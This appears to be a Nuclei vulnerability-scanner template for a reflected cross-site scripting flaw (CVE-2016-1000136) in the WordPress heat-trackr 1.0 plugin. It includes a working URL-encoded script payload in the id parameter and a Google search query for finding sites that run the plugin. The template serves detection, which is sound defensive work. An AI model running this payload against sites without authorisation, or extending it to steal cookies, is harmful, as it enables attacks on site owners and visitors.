WordPress heat-trackr 1.0 - Cross-Site Scripting

id: CVE-2016-1000136

info:
  name: WordPress heat-trackr 1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress heat-trackr 1.0 contains a cross-site scripting vulnerability via heat-trackr_abtest_add.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Upgrade to the latest version of WordPress heat-trackr or apply the provided patch to fix the XSS vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=798
    - https://wordpress.org/plugins/heat-trackr
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000136
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000136
    cwe-id: CWE-79
    epss-score: 0.03415
    epss-percentile: 0.87335
    cpe: cpe:2.3:a:heat-trackr_project:heat-trackr:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "heat-trackr_project"
    product: "heat-trackr"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/heat-trackr\""
  tags: cve2016,cve,wordpress,xss,wp-plugin,heat-trackr_project,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/heat-trackr/'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/heat-trackr/heat-trackr_abtest_add.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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